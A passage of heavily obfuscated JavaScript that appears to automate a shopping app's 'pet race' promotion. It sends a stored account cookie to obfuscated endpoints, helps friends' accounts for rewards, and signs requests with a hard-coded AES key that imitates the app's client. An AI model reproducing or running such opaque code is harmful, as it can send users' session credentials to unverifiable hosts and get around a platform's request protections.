_0x59220e={'url':_0x2f75('235','$laD')+_0x11e8d0[_0x2f75('236','j$g9')](encodeURI,_0x185ca9)+_0x2f75('237','XXgT'),'method':_0x11e8d0[_0x2f75('238','r@HV')],'data':{},'credentials':_0x11e8d0[_0x2f75('239','xV2K')],'header':{'content-type':_0x11e8d0[_0x2f75('23a','x2bQ')]}};const _0x134d48=_0x11e8d0[_0x2f75('23b','[PRY')](_0x11e8d0[_0x2f75('23c','u1ko')],_0x11e8d0[_0x2f75('23d','DDc8')](taroRequest,_0x59220e)[_0x11e8d0[_0x2f75('23e','VU!4')]]);const _0xec6d3c={'url':_0x134d48,'headers':headers};$[_0x2f75('23f','&9ZX')](_0xec6d3c,(_0x49e85c,_0x1aa6d4,_0x481b18)=>{var _0xc01dcc={'wxNUV':_0x2eae34[_0x2f75('240','T)no')]};try{if(_0x49e85c){if(_0x2eae34[_0x2f75('241','&9ZX')](_0x2eae34[_0x2f75('242','DDQ2')],_0x2eae34[_0x2f75('243','[PRY')])){$[_0x2f75('165','xV2K')](_0x2eae34[_0x2f75('244','gywN')]);$[_0x2f75('245','DoG6')](JSON[_0x2f75('246','Le]x')](_0x49e85c));}else{$[_0x2f75('247','YEe$')](e,_0x1aa6d4);}}else{$[_0x2f75('14c','WZTw')](_0x2f75('248','PHIh')+_0x481b18);_0x481b18=JSON[_0x2f75('73','DoG6')](_0x481b18);if(_0x481b18[_0x2f75('249','gywN')]&&_0x2eae34[_0x2f75('24a','PHIh')](_0x481b18[_0x2f75('24b','Fyq1')],_0x2eae34[_0x2f75('24c','YEe$')])){$[_0x2f75('9b','skPA')]+=0x1e;}}}catch(_0x38b8e2){if(_0x2eae34[_0x2f75('24d','DDc8')](_0x2eae34[_0x2f75('24e','PHIh')],_0x2eae34[_0x2f75('24f','xFT#')])){$[_0x2f75('250','xFT#')](_0xc01dcc[_0x2f75('251','gywN')]);$[_0x2f75('252','RmFY')](JSON[_0x2f75('253','lCrz')](_0x49e85c));}else{$[_0x2f75('254','#8i1')](_0x38b8e2,_0x1aa6d4);}}finally{_0x2eae34[_0x2f75('255','gywN')](_0x2f1304,_0x481b18);}});});}async function run(_0x54cbdc){var _0x2f2455={'nXVPK':_0x2f75('256','sb)9'),'dtvlG':function(_0x564cef,_0x15188f){return _0x564cef===_0x15188f;},'QXQDP':function(_0x35e5d7,_0x24f510){return _0x35e5d7(_0x24f510);},'DYGLD':function(_0x134e44,_0x267680){return _0x134e44===_0x267680;},'BAsPu':_0x2f75('257','gywN'),'ERlhV':function(_0x1c9869,_0x1a8674){return _0x1c9869===_0x1a8674;},'qqvfL':_0x2f75('258','Q$kf'),'sHnuT':_0x2f75('259','DDQ2'),'fsAZz':function(_0x52b9d7,_0x138edc){return _0x52b9d7===_0x138edc;},'qRodY':_0x2f75('25a','sb)9'),'VngDy':function(_0x322c,_0x64dcb0){return _0x322c(_0x64dcb0);},'zxTle':_0x2f75('25b',']oVs'),'xZkya':_0x2f75('25c','uUNQ'),'lBiyx':_0x2f75('25d','ZXWk'),'QuVAa':_0x2f75('25e','XXgT'),'IEXGv':_0x2f75('25f','RmFY'),'AnLzC':function(_0x2bcfbf,_0x13c08b){return _0x2bcfbf!==_0x13c08b;},'PDoBa':_0x2f75('260','ZXWk'),'qOAWU':_0x2f75('261','uUNQ')};console[_0x2f75('1de','DoG6')]('账号'+$[_0x2f75('262','RmFY')]+'\x20['+UserName+_0x2f75('263','VU!4')+_0x54cbdc[_0x2f75('264','$laD')](_0x5497c9=>_0x5497c9[_0x2f75('265','ePm4')]())+'\x0a');for(let _0xf304d2 of _0x54cbdc[_0x2f75('1a1','Q$kf')](_0xf304d2=>_0xf304d2[_0x2f75('266','j$g9')]())){console[_0x2f75('1e7','[PRY')](_0x2f75('267','f1T4')+$[_0x2f75('268','qp(7')]+'\x20['+UserName+_0x2f75('269','VU!4')+_0xf304d2+_0x2f75('26a','uUNQ'));if(_0x2f2455[_0x2f75('26b','Q$kf')](UserName,_0xf304d2)){console[_0x2f75('f0','r@HV')](_0x2f75('26c','VU!4'));continue;}const _0x5471d6=await _0x2f2455[_0x2f75('26d','fsS*')](combatDetail,_0xf304d2);const {petRaceResult}=_0x5471d6[_0x2f75('26e','j$g9')];console[_0x2f75('26f','qp(7')](_0x2f75('270','IbaU')+petRaceResult);if(_0x2f2455[_0x2f75('271','sBG4')](petRaceResult,_0x2f2455[_0x2f75('272','f1T4')])){if(_0x2f2455[_0x2f75('273','DDc8')](_0x2f2455[_0x2f75('274','f1T4')],_0x2f2455[_0x2f75('275','DoG6')])){console[_0x2f75('1ae','u1ko')](_0x2f2455[_0x2f75('276','VU!4')]);break;}else{$[_0x2f75('277','DoG6')]();}}else if(_0x2f2455[_0x2f75('278',']oVs')](petRaceResult,_0x2f2455[_0x2f75('279','ePm4')])){console[_0x2f75('a2','t3gf')](_0x2f75('27a','Q$kf')+_0xf304d2);const _0x5a543c=await _0x2f2455[_0x2f75('27b',']oVs')](combatHelp,_0xf304d2);if(_0x2f2455[_0x2f75('27c','[c5e')](_0x5a543c[_0x2f75('27d','$laD')],_0x2f2455[_0x2f75('27e','gywN')])&&!_0x5a543c[_0x2f75('27f','wUli')]){console[_0x2f75('14c','WZTw')](_0x2f2455[_0x2f75('280','u1ko')]);$[_0x2f75('281','FxP2')]('',_0x2f2455[_0x2f75('282','x2bQ')]);$[_0x2f75('283','#8i1')]($[_0x2f75('284','fsS*')],_0x2f2455[_0x2f75('285','XXgT')],_0x2f2455[_0x2f75('286','uUNQ')]);$[_0x2f75('287','iTVo')]=![];break;}else{if(_0x2f2455[_0x2f75('288','ZzmZ')](_0x2f2455[_0x2f75('289','DDc8')],_0x2f2455[_0x2f75('28a','Le]x')])){$[_0x2f75('28b','$laD')]=!![];}else{_0x54cbdc=[];_0x54cbdc[_0x2f75('28c','ZzmZ')]($[_0x2f75('1e','fsS*')](_0x2f2455[_0x2f75('28d','aWnF')]));}}}}}function combatHelp(_0x10be79){var _0x51fc15={'QIIvW':_0x2f75('28e','DoG6'),'Iybaz':function(_0x37b9e2,_0x5a9a72){return _0x37b9e2!==_0x5a9a72;},'CBVoi':_0x2f75('28f','fsS*'),'hdziq':function(_0x1d0fea,_0x3c0fcc){return _0x1d0fea===_0x3c0fcc;},'sOZrZ':_0x2f75('290','skPA'),'uGcXk':_0x2f75('291','t3gf'),'LtmQb':_0x2f75('292','YEe$'),'xprLa':function(_0xb5f678,_0x55d50a){return _0xb5f678===_0x55d50a;},'KXtcv':_0x2f75('293','fsS*'),'bquBH':_0x2f75('294','cojS'),'MXdza':function(_0x9d36a7,_0x29e146){return _0x9d36a7(_0x29e146);},'uvjmM':_0x2f75('295','Huk@'),'TrhEk':_0x2f75('296','f2Z1'),'PBbOW':_0x2f75('297','T)no'),'yZCkd':_0x2f75('298','wUli'),'liFaz':function(_0x369e32,_0x341ba5){return _0x369e32+_0x341ba5;},'GhfJH':_0x2f75('299','lCrz'),'NkdyZ':function(_0x295e9c,_0x34dea2){return _0x295e9c(_0x34dea2);},'QQpxp':_0x2f75('29a','$laD')};return new Promise(_0x35f346=>{var _0x15ba9d={'HQiOb':_0x51fc15[_0x2f75('29b','ZzmZ')]};if(_0x51fc15[_0x2f75('29c','j$g9')](_0x51fc15[_0x2f75('29d','qp(7')],_0x51fc15[_0x2f75('29e','PHIh')])){headers[_0x2f75('29f','[PRY')]=cookie;headers[_0x2f75('2a0','DoG6')]=$[_0x2f75('2a1','ePm4')];let _0x20341c={'url':_0x2f75('2a2','IbaU')+_0x51fc15[_0x2f75('2a3','bIbB')](encodeURI,_0x10be79),'method':_0x51fc15[_0x2f75('2a4','uUNQ')],'data':{},'credentials':_0x51fc15[_0x2f75('2a5','[c5e')],'header':{'content-type':_0x51fc15[_0x2f75('2a6','fsS*')]}};const _0x81603d=_0x51fc15[_0x2f75('2a7','xFT#')](_0x51fc15[_0x2f75('2a8','u1ko')],_0x51fc15[_0x2f75('2a9','RmFY')](taroRequest,_0x20341c)[_0x51fc15[_0x2f75('2aa','iTVo')]]);const _0x38e053={'url':_0x81603d,'headers':headers};$[_0x2f75('2ab','#22D')](_0x38e053,(_0x125501,_0x76d7a1,_0x5e961b)=>{var _0x3f2ca2={'Itwxh':_0x51fc15[_0x2f75('2ac','Huk@')]};if(_0x51fc15[_0x2f75('2ad',']oVs')](_0x51fc15[_0x2f75('2ae','DDQ2')],_0x51fc15[_0x2f75('2af','Le]x')])){$[_0x2f75('76','PHIh')](_0x15ba9d[_0x2f75('2b0','xV2K')]);$[_0x2f75('169','bIbB')](JSON[_0x2f75('214','FxP2')](_0x125501));}else{try{if(_0x51fc15[_0x2f75('2b1','DDQ2')](_0x51fc15[_0x2f75('2b2','xV2K')],_0x51fc15[_0x2f75('2b3','#22D')])){if(_0x125501){$[_0x2f75('2b4','DDc8')](_0x51fc15[_0x2f75('2b5','7uGH')]);$[_0x2f75('252','RmFY')](JSON[_0x2f75('2b6','t3gf')](_0x125501));}else{$[_0x2f75('f0','r@HV')](_0x2f75('2b7','DDQ2')+_0x5e961b);_0x5e961b=JSON[_0x2f75('2b8','cojS')](_0x5e961b);if(_0x51fc15[_0x2f75('2b9','ePm4')](_0x5e961b[_0x2f75('2ba','ZXWk')],_0x51fc15[_0x2f75('2bb','bIbB')])&&_0x51fc15[_0x2f75('2bc','ZzmZ')](_0x5e961b[_0x2f75('2bd','T)no')][_0x2f75('2be','qp(7')],_0x51fc15[_0x2f75('2bf','lCrz')])){console[_0x2f75('2c0','FxP2')]('助力'+_0x10be79+_0x2f75('2c1',']oVs')+_0x5e961b[_0x2f75('2c2','uUNQ')][_0x2f75('2c3','$laD')]+'g\x0a');$[_0x2f75('15e','t3gf')]+=_0x5e961b[_0x2f75('e8','XXgT')][_0x2f75('2c4','Fyq1')];}}}else{run_pins=[];run_pins[_0x2f75('2c5','YEe$')]($[_0x2f75('2c6','IbaU')](_0x3f2ca2[_0x2f75('2c7','xFT#')]));}}catch(_0xc931d7){$[_0x2f75('2c8','T)no')](_0xc931d7,_0x76d7a1);}finally{if(_0x51fc15[_0x2f75('2c9','XXgT')](_0x51fc15[_0x2f75('2ca','j$g9')],_0x51fc15[_0x2f75('2cb','&9ZX')])){_0x51fc15[_0x2f75('2cc','&9ZX')](_0x35f346,_0x5e961b);}else{$[_0x2f75('2c8','T)no')](e,_0x76d7a1);}}}});}else{console[_0x2f75('1ae','u1ko')](''+JSON[_0x2f75('2cd','$laD')](err));console[_0x2f75('2ce','ePm4')]($[_0x2f75('de','7uGH')]+_0x2f75('2cf','DDc8'));}});}function combatDetail(_0x35567a){var _0x2af19f={'uznoE':_0x2f75('39','[c5e'),'Zxmfx':function(_0xadcce7,_0x1902be){return _0xadcce7===_0x1902be;},'XIfkv':_0x2f75('2d0','[c5e'),'dQGtL':_0x2f75('2d1','Fyq1'),'fqTqu':_0x2f75('2d2','gywN'),'UPhDc':function(_0x32c7c4,_0x3b85cf){return _0x32c7c4!==_0x3b85cf;},'ojPmd':_0x2f75('2d3','skPA'),'FOcyJ':_0x2f75('2d4','f2Z1'),'qRmga':function(_0x3ccee8,_0x27f35f){return _0x3ccee8(_0x27f35f);},'Jlpsu':function(_0x523400,_0xeb6d13){return _0x523400!==_0xeb6d13;},'hTvEM':_0x2f75('2d5','j$g9'),'rEjmo':function(_0x459211,_0x233e84){return _0x459211(_0x233e84);},'vGNwb':_0x2f75('2d6','VU!4'),'ADnKe':_0x2f75('2d7','ZXWk'),'bJTZK':_0x2f75('2d8',']oVs'),'NofZh':function(_0x2fb252,_0x3ab492){return _0x2fb252+_0x3ab492;},'cfIBJ':_0x2f75('2d9','7uGH'),'NwXeS':function(_0x4de0b8,_0x561efe){return _0x4de0b8(_0x561efe);},'WJylR':_0x2f75('2da','iTVo')};return new Promise(_0xc705d7=>{var _0x26487d={'AWJRx':function(_0x4fe7a2,_0x245935){return _0x2af19f[_0x2f75('2db','[c5e')](_0x4fe7a2,_0x245935);},'udbfG':_0x2af19f[_0x2f75('2dc','ZXWk')],'zKfiN':_0x2af19f[_0x2f75('2dd','iTVo')],'CszgR':_0x2af19f[_0x2f75('2de','&9ZX')],'LnKkf':function(_0x12a847,_0x56fc7e){return _0x2af19f[_0x2f75('2df','ZzmZ')](_0x12a847,_0x56fc7e);},'xGsrm':_0x2af19f[_0x2f75('2e0','x2bQ')],'DGYSD':_0x2af19f[_0x2f75('2e1','T)no')],'RORhY':function(_0x2e176c,_0x4c34f5){return _0x2af19f[_0x2f75('2e2','WZTw')](_0x2e176c,_0x4c34f5);}};if(_0x2af19f[_0x2f75('2e3','DDc8')](_0x2af19f[_0x2f75('2e4','$laD')],_0x2af19f[_0x2f75('2e5','j$g9')])){invite_pins=[];invite_pins[_0x2f75('2e6','[c5e')]($[_0x2f75('2e7','qp(7')](_0x2af19f[_0x2f75('2e8','Le]x')]));}else{headers[_0x2f75('2e9','DDQ2')]=cookie;headers[_0x2f75('2ea','$laD')]=$[_0x2f75('2eb','gywN')];let _0x22ce5c={'url':_0x2f75('2ec','#8i1')+_0x2af19f[_0x2f75('2ed','WZTw')](encodeURI,_0x35567a)+_0x2f75('2ee','T)no'),'method':_0x2af19f[_0x2f75('2ef','gywN')],'data':{},'credentials':_0x2af19f[_0x2f75('2f0','Q$kf')],'header':{'content-type':_0x2af19f[_0x2f75('2f1','sb)9')]}};const _0x17d20b=_0x2af19f[_0x2f75('2f2','t3gf')](_0x2af19f[_0x2f75('2f3','[c5e')],_0x2af19f[_0x2f75('2f4','T)no')](taroRequest,_0x22ce5c)[_0x2af19f[_0x2f75('2f5','DoG6')]]);const _0x3f4d1d={'url':_0x17d20b,'headers':headers};$[_0x2f75('2f6','r@HV')](_0x3f4d1d,(_0x1abe2e,_0x2338bd,_0x13cc93)=>{try{if(_0x26487d[_0x2f75('2f7','qp(7')](_0x26487d[_0x2f75('2f8','#22D')],_0x26487d[_0x2f75('2f9','xV2K')])){return JSON[_0x2f75('2fa','xFT#')](str);}else{if(_0x1abe2e){$[_0x2f75('2fb','7uGH')](_0x26487d[_0x2f75('2fc','lCrz')]);$[_0x2f75('171','[c5e')](JSON[_0x2f75('117','T)no')](_0x1abe2e));}else{if(_0x26487d[_0x2f75('2fd','Q$kf')](_0x26487d[_0x2f75('2fe','XXgT')],_0x26487d[_0x2f75('2ff','7uGH')])){_0x13cc93=JSON[_0x2f75('300','Huk@')](_0x13cc93);}else{let {body}=_0x2338bd;console[_0x2f75('165','xV2K')](_0x2f75('301','Fyq1')+body+'\x0a');body=JSON[_0x2f75('302','u1ko')](body);console[_0x2f75('26f','qp(7')](''+body[_0x2f75('303','Le]x')]);}}}}catch(_0xa4a7c5){$[_0x2f75('304','f1T4')](_0xa4a7c5,_0x2338bd);}finally{_0x26487d[_0x2f75('305','sBG4')](_0xc705d7,_0x13cc93);}});}});}function isURL(_0x40c337,_0x20cb86){return _0x20cb86[_0x2f75('306','x2bQ')](_0x40c337);}function jsonParse(_0x40af1e){var _0x3b8d3c={'DLmUV':function(_0x4243e6,_0xa57a70){return _0x4243e6==_0xa57a70;},'zXQOk':_0x2f75('307','sb)9'),'vNJJs':_0x2f75('308','XXgT')};if(_0x3b8d3c[_0x2f75('309','t3gf')](typeof _0x40af1e,_0x3b8d3c[_0x2f75('30a','bIbB')])){try{return JSON[_0x2f75('30b','XXgT')](_0x40af1e);}catch(_0x30565f){console[_0x2f75('10e','zsdz')](_0x30565f);$[_0x2f75('61','Fyq1')]($[_0x2f75('21a','iTVo')],'',_0x3b8d3c[_0x2f75('30c','sBG4')]);return[];}}}function getRandomArrayElements(_0x24da1b,_0x48449d){var _0x40bcfe={'BeZSK':function(_0x148061,_0x934385){return _0x148061===_0x934385;},'IPzcN':_0x2f75('30d','FxP2'),'VNBpJ':function(_0x34bbd3,_0x582381){return _0x34bbd3-_0x582381;},'IxYII':function(_0x4d1e1d,_0x3fa0c0){return _0x4d1e1d>_0x3fa0c0;},'zlykp':_0x2f75('30e','DDc8'),'ORXnb':function(_0x479be2,_0x58e51c){return _0x479be2*_0x58e51c;},'Lypmm':function(_0x107c9f,_0x9dfcf7){return _0x107c9f+_0x9dfcf7;}};let _0x208d49=_0x24da1b[_0x2f75('30f','cojS')](0x0),_0x507b9b=_0x24da1b[_0x2f75('310','[PRY')],_0x3f725d=_0x40bcfe[_0x2f75('311','r@HV')](_0x507b9b,_0x48449d),_0xb69e27,_0xaaee1d;while(_0x40bcfe[_0x2f75('312','lCrz')](_0x507b9b--,_0x3f725d)){if(_0x40bcfe[_0x2f75('313','zsdz')](_0x40bcfe[_0x2f75('314','ePm4')],_0x40bcfe[_0x2f75('315','aWnF')])){_0xaaee1d=Math[_0x2f75('316','wUli')](_0x40bcfe[_0x2f75('317','zsdz')](_0x40bcfe[_0x2f75('318','iTVo')](_0x507b9b,0x1),Math[_0x2f75('319','uUNQ')]()));_0xb69e27=_0x208d49[_0xaaee1d];_0x208d49[_0xaaee1d]=_0x208d49[_0x507b9b];_0x208d49[_0x507b9b]=_0xb69e27;}else{$[_0x2f75('1e7','[PRY')](_0x2f75('31a','gywN')+data);data=JSON[_0x2f75('31b','t3gf')](data);if(_0x40bcfe[_0x2f75('31c','sBG4')](data[_0x2f75('31d','Le]x')],_0x40bcfe[_0x2f75('31e','DoG6')])&&_0x40bcfe[_0x2f75('31f','FxP2')](data[_0x2f75('320','ePm4')][_0x2f75('321','Le]x')],_0x40bcfe[_0x2f75('322','skPA')])){console[_0x2f75('1db','j$g9')]('助力'+friendPin+_0x2f75('323','uUNQ')+data[_0x2f75('324','PHIh')][_0x2f75('325','sBG4')]+'g\x0a');$[_0x2f75('326','IbaU')]+=data[_0x2f75('327','DDQ2')][_0x2f75('328','lCrz')];}}}return _0x208d49[_0x2f75('329','uUNQ')](_0x3f725d);}function getFriendPins(){var _0x1e986e={'YBoTW':function(_0x4b806e,_0x51a022){return _0x4b806e(_0x51a022);},'Bwgup':function(_0x131eaf,_0xb0588){return _0x131eaf!==_0xb0588;},'efFtW':_0x2f75('32a','[PRY'),'GaQQL':_0x2f75('32b','Fyq1'),'ZEPwH':_0x2f75('32c','sBG4'),'zVMsr':_0x2f75('32d','lCrz'),'xmCPG':function(_0x6c5d0,_0x5db8e1){return _0x6c5d0===_0x5db8e1;},'OFRTH':_0x2f75('32e','Fyq1'),'zgPJu':_0x2f75('32f','DDQ2'),'aumyc':function(_0x4f22c1,_0x30f6fc){return _0x4f22c1!==_0x30f6fc;},'sElBi':_0x2f75('330','$laD'),'ZYNGh':_0x2f75('331','r@HV'),'NJWxs':function(_0x44a04c){return _0x44a04c();},'zJTvg':_0x2f75('332','t3gf'),'TMAMh':function(_0x5581fe,_0x412519){return _0x5581fe/_0x412519;},'MfWjT':_0x2f75('333','[c5e'),'ZDJWS':_0x2f75('334','XXgT'),'XppPX':_0x2f75('335','Q$kf'),'ZOxuj':_0x2f75('336','cojS'),'hbPau':_0x2f75('337','x2bQ')};return new Promise(_0x44a5f4=>{var _0x3fd717={'dUXnb':function(_0x2d8bab,_0x142a59){return _0x1e986e[_0x2f75('338','$laD')](_0x2d8bab,_0x142a59);},'GWxfN':_0x1e986e[_0x2f75('339','[c5e')],'eToxU':function(_0x435e55,_0x3894e1){return _0x1e986e[_0x2f75('33a','WZTw')](_0x435e55,_0x3894e1);},'UroTR':_0x1e986e[_0x2f75('33b','gywN')]};if(_0x1e986e[_0x2f75('33c','xFT#')](_0x1e986e[_0x2f75('33d','Le]x')],_0x1e986e[_0x2f75('33e','FxP2')])){$[_0x2f75('5d','f1T4')](_0x2f75('33f','YEe$')+data);data=JSON[_0x2f75('340',']oVs')](data);if(data[_0x2f75('341','ZXWk')]&&_0x3fd717[_0x2f75('342','f1T4')](data[_0x2f75('343','skPA')],_0x3fd717[_0x2f75('344','aWnF')])){$[_0x2f75('345','IbaU')]+=0x1e;}}else{$[_0x2f75('346','xFT#')]({'url':_0x1e986e[_0x2f75('347','WZTw')],'headers':{'User-Agent':_0x1e986e[_0x2f75('348','skPA')]},'timeout':0x186a0},async(_0xb95c6b,_0x1fd5a4,_0x13db5c)=>{var _0x4c0136={'elqUl':function(_0x5bae84,_0x457d1f){return _0x1e986e[_0x2f75('349','#22D')](_0x5bae84,_0x457d1f);},'iUWMA':function(_0x2a086f,_0x3d871c){return _0x1e986e[_0x2f75('349','#22D')](_0x2a086f,_0x3d871c);}};if(_0x1e986e[_0x2f75('34a','ZXWk')](_0x1e986e[_0x2f75('34b','Le]x')],_0x1e986e[_0x2f75('34c','#22D')])){try{if(_0xb95c6b){console[_0x2f75('34d','&9ZX')](_0x2f75('34e','qp(7')+JSON[_0x2f75('34f','xFT#')](_0xb95c6b));}else{if(_0x1e986e[_0x2f75('350','iTVo')](_0x1e986e[_0x2f75('351','u1ko')],_0x1e986e[_0x2f75('352','FxP2')])){message+='给'+_0x3fd717[_0x2f75('353','j$g9')]($[_0x2f75('354','sb)9')],0x5)+_0x2f75('355','DoG6')+$[_0x2f75('354','sb)9')]+'g';}else{$[_0x2f75('356','lCrz')]=_0x13db5c&&JSON[_0x2f75('302','u1ko')](_0x13db5c);if($[_0x2f75('357','aWnF')]&&$[_0x2f75('358','PHIh')][_0x1e986e[_0x2f75('359','&9ZX')]]){if(_0x1e986e[_0x2f75('35a','uUNQ')](_0x1e986e[_0x2f75('35b','iTVo')],_0x1e986e[_0x2f75('35c','WZTw')])){_0x4c0136[_0x2f75('35d','t3gf')](_0x44a5f4,_0x13db5c);}else{friendsArr=$[_0x2f75('35e','[c5e')][_0x1e986e[_0x2f75('35f','r@HV')]];console[_0x2f75('111','gywN')](_0x2f75('360','aWnF')+friendsArr[_0x2f75('3a','ZXWk')]+_0x2f75('361','f1T4'));}}}}}catch(_0x48567f){$[_0x2f75('362','gywN')](_0x48567f,_0x1fd5a4);}finally{if(_0x1e986e[_0x2f75('363','ZXWk')](_0x1e986e[_0x2f75('364','qp(7')],_0x1e986e[_0x2f75('365','wUli')])){_0x1e986e[_0x2f75('366','Fyq1')](_0x44a5f4);}else{try{return JSON[_0x2f75('367','$laD')](str);}catch(_0x24996b){console[_0x2f75('1db','j$g9')](_0x24996b);$[_0x2f75('368','bIbB')]($[_0x2f75('369','j$g9')],'',_0x3fd717[_0x2f75('36a','7uGH')]);return[];}}}}else{_0x4c0136[_0x2f75('36b','T)no')](_0x44a5f4,_0x13db5c);}});}});}isRequest?getToken():main();;_0xodt='jsjiami.com.v6';
|
||
|
||
|
||
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb227b=["\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","\x39\x38\x63\x31\x34\x63\x39\x39\x37\x66\x64\x65\x35\x30\x63\x63\x31\x38\x62\x64\x65\x66\x65\x63\x66\x64\x34\x38\x63\x65\x62\x37","\x70\x61\x72\x73\x65","\x55\x74\x66\x38","\x65\x6E\x63","\x65\x61\x36\x35\x33\x66\x34\x66\x33\x63\x35\x65\x64\x61\x31\x32","\x63\x69\x70\x68\x65\x72\x74\x65\x78\x74","\x43\x42\x43","\x6D\x6F\x64\x65","\x50\x6B\x63\x73\x37","\x70\x61\x64","\x65\x6E\x63\x72\x79\x70\x74","\x41\x45\x53","\x48\x65\x78","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x42\x61\x73\x65\x36\x34","\x64\x65\x63\x72\x79\x70\x74","\x6C\x65\x6E\x67\x74\x68","\x6D\x61\x70","\x73\x6F\x72\x74","\x6B\x65\x79\x73","\x67\x69\x66\x74","\x70\x65\x74","\x69\x6E\x63\x6C\x75\x64\x65\x73","\x26","\x6A\x6F\x69\x6E","\x3D","\x3F","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6D\x6D\x6F\x6E\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x68\x65\x61\x64\x65\x72","\x75\x72\x6C","\x72\x65\x71\x53\x6F\x75\x72\x63\x65\x3D\x68\x35","\x61\x73\x73\x69\x67\x6E","\x6D\x65\x74\x68\x6F\x64","\x47\x45\x54","\x64\x61\x74\x61","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6B\x65\x79\x43\x6F\x64\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","","\x67\x65\x74","\x70\x6F\x73\x74","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taroRequest(_0x1226x2){const _0x1226x3=$[__Oxb227b[0x0]]()?require(__Oxb227b[0x1]):CryptoJS;const _0x1226x4=__Oxb227b[0x2];const _0x1226x5=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x4);const _0x1226x6=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](__Oxb227b[0x6]);let _0x1226x7={"\x41\x65\x73\x45\x6E\x63\x72\x79\x70\x74":function _0x1226x8(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0xc]](_0x1226x9,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]})[__Oxb227b[0x7]].toString()},"\x41\x65\x73\x44\x65\x63\x72\x79\x70\x74":function _0x1226xa(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0xe]][__Oxb227b[0x3]](_0x1226x2),_0x1226xb=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0x11]](_0x1226xb,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]}).toString(_0x1226x3[__Oxb227b[0x5]].Utf8).toString()},"\x42\x61\x73\x65\x36\x34\x45\x6E\x63\x6F\x64\x65":function _0x1226xc(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9)},"\x42\x61\x73\x65\x36\x34\x44\x65\x63\x6F\x64\x65":function _0x1226xd(_0x1226x2){return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0x3]](_0x1226x2).toString(_0x1226x3[__Oxb227b[0x5]].Utf8)},"\x4D\x64\x35\x65\x6E\x63\x6F\x64\x65":function _0x1226xe(_0x1226x2){return _0x1226x3.MD5(_0x1226x2).toString()},"\x6B\x65\x79\x43\x6F\x64\x65":__Oxb227b[0x2]};const _0x1226xf=function _0x1226x10(_0x1226x2,_0x1226x9){if(_0x1226x2 instanceof Array){_0x1226x9= _0x1226x9|| [];for(var _0x1226xb=0;_0x1226xb< _0x1226x2[__Oxb227b[0x12]];_0x1226xb++){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])}}else {!(_0x1226x2 instanceof Array)&& _0x1226x2 instanceof Object?(_0x1226x9= _0x1226x9|| {},Object[__Oxb227b[0x15]](_0x1226x2)[__Oxb227b[0x14]]()[__Oxb227b[0x13]](function(_0x1226xb){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])})):_0x1226x9= _0x1226x2};return _0x1226x9};const _0x1226x11=function _0x1226x12(_0x1226x2){for(var _0x1226x9=[__Oxb227b[0x16],__Oxb227b[0x17]],_0x1226xb=!1,_0x1226x3=0;_0x1226x3< _0x1226x9[__Oxb227b[0x12]];_0x1226x3++){var _0x1226x4=_0x1226x9[_0x1226x3];_0x1226x2[__Oxb227b[0x18]](_0x1226x4)&& !_0x1226xb&& (_0x1226xb= !0)};return _0x1226xb};const _0x1226x13=function _0x1226x14(_0x1226x2,_0x1226x9){if(_0x1226x9&& Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x12]]> 0){var _0x1226xb=Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x13]](function(_0x1226x2){return _0x1226x2+ __Oxb227b[0x1b]+ 